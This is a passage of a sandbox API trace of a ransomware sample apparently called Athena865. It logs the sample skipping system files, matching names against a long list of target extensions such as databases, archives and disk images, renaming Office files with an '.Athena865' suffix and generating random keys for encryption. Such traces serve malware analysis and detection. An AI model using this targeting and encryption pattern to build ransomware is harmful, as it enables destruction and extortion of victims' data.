(lpString1="AS.DLL", lpString2="db-shm") returned -1 [0084.701] lstrlenW (lpString="db-wal") returned 6 [0084.701] lstrcmpiW (lpString1="AS.DLL", lpString2="db-wal") returned -1 [0084.701] lstrlenW (lpString="dbc") returned 3 [0084.701] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.701] lstrlenW (lpString="dbs") returned 3 [0084.701] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.701] lstrlenW (lpString="dbt") returned 3 [0084.701] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.701] lstrlenW (lpString="dbv") returned 3 [0084.701] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.701] lstrlenW (lpString="dbx") returned 3 [0084.701] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.701] lstrlenW (lpString="dcb") returned 3 [0084.701] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.701] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.701] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBRAS.DLL.Athena865") returned 65 [0084.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBRAS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbras.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBRAS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savwbras.dll.athena865"), dwFlags=0x1) returned 1 [0084.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBRAS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savwbras.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.704] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=266120) returned 1 [0084.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.704] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.705] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.705] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.705] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41290, lpName=0x0) returned 0x17c [0084.708] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41290) returned 0x2d50000 [0084.722] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.723] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.723] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.724] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.727] CloseHandle (hObject=0x17c) returned 1 [0084.727] CloseHandle (hObject=0x154) returned 1 [0084.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.728] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66c1fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3df88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAVWBVML.DLL", cAlternateFileName="")) returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2=".") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="..") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="windows") returned -1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="bootmgr") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="temp") returned -1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="pagefile.sys") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="boot") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="ids.txt") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="ntuser.dat") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="perflogs") returned 1 [0084.730] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2="MSBuild") returned 1 [0084.730] lstrlenW (lpString="SAVWBVML.DLL") returned 12 [0084.730] lstrcpyW (in: lpString1=0x241e89e, lpString2="SAVWBVML.DLL" | out: lpString1="SAVWBVML.DLL") returned="SAVWBVML.DLL" [0084.730] lstrlenW (lpString="SAVWBVML.DLL") returned 12 [0084.730] lstrlenW (lpString="Athena865") returned 9 [0084.730] lstrcmpiW (lpString1="WBVML.DLL", lpString2="Athena865") returned 1 [0084.730] lstrlenW (lpString=".dll") returned 4 [0084.731] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2=".dll") returned 1 [0084.731] lstrlenW (lpString=".lnk") returned 4 [0084.731] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2=".lnk") returned 1 [0084.731] lstrlenW (lpString=".ini") returned 4 [0084.731] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2=".ini") returned 1 [0084.731] lstrlenW (lpString=".sys") returned 4 [0084.731] lstrcmpiW (lpString1="SAVWBVML.DLL", lpString2=".sys") returned 1 [0084.731] lstrlenW (lpString="SAVWBVML.DLL") returned 12 [0084.731] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBVML.DLL.Athena865") returned 65 [0084.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBVML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbvml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBVML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savwbvml.dll.athena865"), dwFlags=0x1) returned 1 [0084.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBVML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savwbvml.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.741] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=253832) returned 1 [0084.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.742] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.742] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.743] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.743] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e290, lpName=0x0) returned 0x17c [0084.745] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e290) returned 0x170000 [0084.756] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.756] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.756] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.757] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0084.759] CloseHandle (hObject=0x17c) returned 1 [0084.760] CloseHandle (hObject=0x154) returned 1 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.761] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20188a00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd670e260, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20188a00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x29388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAVWBXAML.DLL", cAlternateFileName="SAVWBX~1.DLL")) returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2=".") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="..") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="windows") returned -1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="bootmgr") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="temp") returned -1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="pagefile.sys") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="boot") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="ids.txt") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="ntuser.dat") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="perflogs") returned 1 [0084.761] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2="MSBuild") returned 1 [0084.761] lstrlenW (lpString="SAVWBXAML.DLL") returned 13 [0084.761] lstrcpyW (in: lpString1=0x241e89e, lpString2="SAVWBXAML.DLL" | out: lpString1="SAVWBXAML.DLL") returned="SAVWBXAML.DLL" [0084.761] lstrlenW (lpString="SAVWBXAML.DLL") returned 13 [0084.761] lstrlenW (lpString="Athena865") returned 9 [0084.761] lstrcmpiW (lpString1="BXAML.DLL", lpString2="Athena865") returned 1 [0084.761] lstrlenW (lpString=".dll") returned 4 [0084.762] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2=".dll") returned 1 [0084.762] lstrlenW (lpString=".lnk") returned 4 [0084.762] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2=".lnk") returned 1 [0084.762] lstrlenW (lpString=".ini") returned 4 [0084.762] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2=".ini") returned 1 [0084.762] lstrlenW (lpString=".sys") returned 4 [0084.762] lstrcmpiW (lpString1="SAVWBXAML.DLL", lpString2=".sys") returned 1 [0084.762] lstrlenW (lpString="SAVWBXAML.DLL") returned 13 [0084.762] lstrlenW (lpString="bak") returned 3 [0084.762] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.762] lstrlenW (lpString="ba_") returned 3 [0084.762] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.762] lstrlenW (lpString="dbb") returned 3 [0084.762] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.762] lstrlenW (lpString="vmdk") returned 4 [0084.762] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.762] lstrlenW (lpString="rar") returned 3 [0084.762] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.762] lstrlenW (lpString="zip") returned 3 [0084.762] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.762] lstrlenW (lpString="tgz") returned 3 [0084.762] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.762] lstrlenW (lpString="vbox") returned 4 [0084.762] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.762] lstrlenW (lpString="vdi") returned 3 [0084.762] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.762] lstrlenW (lpString="vhd") returned 3 [0084.762] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.762] lstrlenW (lpString="vhdx") returned 4 [0084.762] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.762] lstrlenW (lpString="avhd") returned 4 [0084.762] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.763] lstrlenW (lpString="db") returned 2 [0084.763] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.763] lstrlenW (lpString="db2") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.763] lstrlenW (lpString="db3") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.763] lstrlenW (lpString="dbf") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.763] lstrlenW (lpString="mdf") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.763] lstrlenW (lpString="mdb") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.763] lstrlenW (lpString="sql") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.763] lstrlenW (lpString="sqlite") returned 6 [0084.763] lstrcmpiW (lpString1="ML.DLL", lpString2="sqlite") returned -1 [0084.763] lstrlenW (lpString="sqlite3") returned 7 [0084.763] lstrcmpiW (lpString1="AML.DLL", lpString2="sqlite3") returned -1 [0084.763] lstrlenW (lpString="sqlitedb") returned 8 [0084.763] lstrcmpiW (lpString1="XAML.DLL", lpString2="sqlitedb") returned 1 [0084.763] lstrlenW (lpString="xml") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.763] lstrlenW (lpString="$er") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.763] lstrlenW (lpString="4dd") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.763] lstrlenW (lpString="4dl") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.763] lstrlenW (lpString="^^^") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.763] lstrlenW (lpString="abs") returned 3 [0084.763] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.764] lstrlenW (lpString="abx") returned 3 [0084.764] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.764] lstrlenW (lpString="accdb") returned 5 [0084.764] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0084.764] lstrlenW (lpString="accdc") returned 5 [0084.764] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0084.764] lstrlenW (lpString="accde") returned 5 [0084.764] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0084.764] lstrlenW (lpString="accdr") returned 5 [0084.764] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0084.764] lstrlenW (lpString="accdt") returned 5 [0084.764] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0084.764] lstrlenW (lpString="accdw") returned 5 [0084.764] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0084.764] lstrlenW (lpString="accft") returned 5 [0084.764] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0084.764] lstrlenW (lpString="adb") returned 3 [0084.764] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.764] lstrlenW (lpString="adb") returned 3 [0084.764] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.764] lstrlenW (lpString="ade") returned 3 [0084.764] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.764] lstrlenW (lpString="adf") returned 3 [0084.764] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.764] lstrlenW (lpString="adn") returned 3 [0084.764] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.764] lstrlenW (lpString="adp") returned 3 [0084.764] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.764] lstrlenW (lpString="alf") returned 3 [0084.764] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.764] lstrlenW (lpString="ask") returned 3 [0084.764] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.765] lstrlenW (lpString="btr") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.765] lstrlenW (lpString="cat") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.765] lstrlenW (lpString="cdb") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.765] lstrlenW (lpString="ckp") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.765] lstrlenW (lpString="cma") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.765] lstrlenW (lpString="cpd") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.765] lstrlenW (lpString="dacpac") returned 6 [0084.765] lstrcmpiW (lpString1="ML.DLL", lpString2="dacpac") returned 1 [0084.765] lstrlenW (lpString="dad") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.765] lstrlenW (lpString="dadiagrams") returned 10 [0084.765] lstrcmpiW (lpString1="WBXAML.DLL", lpString2="dadiagrams") returned 1 [0084.765] lstrlenW (lpString="daschema") returned 8 [0084.765] lstrcmpiW (lpString1="XAML.DLL", lpString2="daschema") returned 1 [0084.765] lstrlenW (lpString="db-journal") returned 10 [0084.765] lstrcmpiW (lpString1="WBXAML.DLL", lpString2="db-journal") returned 1 [0084.765] lstrlenW (lpString="db-shm") returned 6 [0084.765] lstrcmpiW (lpString1="ML.DLL", lpString2="db-shm") returned 1 [0084.765] lstrlenW (lpString="db-wal") returned 6 [0084.765] lstrcmpiW (lpString1="ML.DLL", lpString2="db-wal") returned 1 [0084.765] lstrlenW (lpString="dbc") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.765] lstrlenW (lpString="dbs") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.765] lstrlenW (lpString="dbt") returned 3 [0084.765] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.765] lstrlenW (lpString="dbv") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.766] lstrlenW (lpString="dbx") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.766] lstrlenW (lpString="dcb") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.766] lstrlenW (lpString="dct") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.766] lstrlenW (lpString="dcx") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.766] lstrlenW (lpString="ddl") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.766] lstrlenW (lpString="dlis") returned 4 [0084.766] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0084.766] lstrlenW (lpString="dp1") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0084.766] lstrlenW (lpString="dqy") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0084.766] lstrlenW (lpString="dsk") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0084.766] lstrlenW (lpString="dsn") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0084.766] lstrlenW (lpString="dtsx") returned 4 [0084.766] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0084.766] lstrlenW (lpString="dxl") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0084.766] lstrlenW (lpString="eco") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0084.766] lstrlenW (lpString="ecx") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0084.766] lstrlenW (lpString="edb") returned 3 [0084.766] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0084.767] lstrlenW (lpString="epim") returned 4 [0084.767] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0084.767] lstrlenW (lpString="fcd") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0084.767] lstrlenW (lpString="fdb") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0084.767] lstrlenW (lpString="fic") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0084.767] lstrlenW (lpString="flexolibrary") returned 12 [0084.767] lstrcmpiW (lpString1="AVWBXAML.DLL", lpString2="flexolibrary") returned -1 [0084.767] lstrlenW (lpString="fm5") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0084.767] lstrlenW (lpString="fmp") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0084.767] lstrlenW (lpString="fmp12") returned 5 [0084.767] lstrcmpiW (lpString1="L.DLL", lpString2="fmp12") returned 1 [0084.767] lstrlenW (lpString="fmpsl") returned 5 [0084.767] lstrcmpiW (lpString1="L.DLL", lpString2="fmpsl") returned 1 [0084.767] lstrlenW (lpString="fol") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0084.767] lstrlenW (lpString="fp3") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0084.767] lstrlenW (lpString="fp4") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0084.767] lstrlenW (lpString="fp5") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0084.767] lstrlenW (lpString="fp7") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0084.767] lstrlenW (lpString="fpt") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0084.767] lstrlenW (lpString="frm") returned 3 [0084.767] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0084.768] lstrlenW (lpString="gdb") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.768] lstrlenW (lpString="gdb") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.768] lstrlenW (lpString="grdb") returned 4 [0084.768] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0084.768] lstrlenW (lpString="gwi") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0084.768] lstrlenW (lpString="hdb") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0084.768] lstrlenW (lpString="his") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0084.768] lstrlenW (lpString="ib") returned 2 [0084.768] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0084.768] lstrlenW (lpString="idb") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0084.768] lstrlenW (lpString="ihx") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0084.768] lstrlenW (lpString="itdb") returned 4 [0084.768] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0084.768] lstrlenW (lpString="itw") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0084.768] lstrlenW (lpString="jet") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0084.768] lstrlenW (lpString="jtx") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0084.768] lstrlenW (lpString="kdb") returned 3 [0084.768] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0084.768] lstrlenW (lpString="kexi") returned 4 [0084.768] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0084.768] lstrlenW (lpString="kexic") returned 5 [0084.768] lstrcmpiW (lpString1="L.DLL", lpString2="kexic") returned 1 [0084.769] lstrlenW 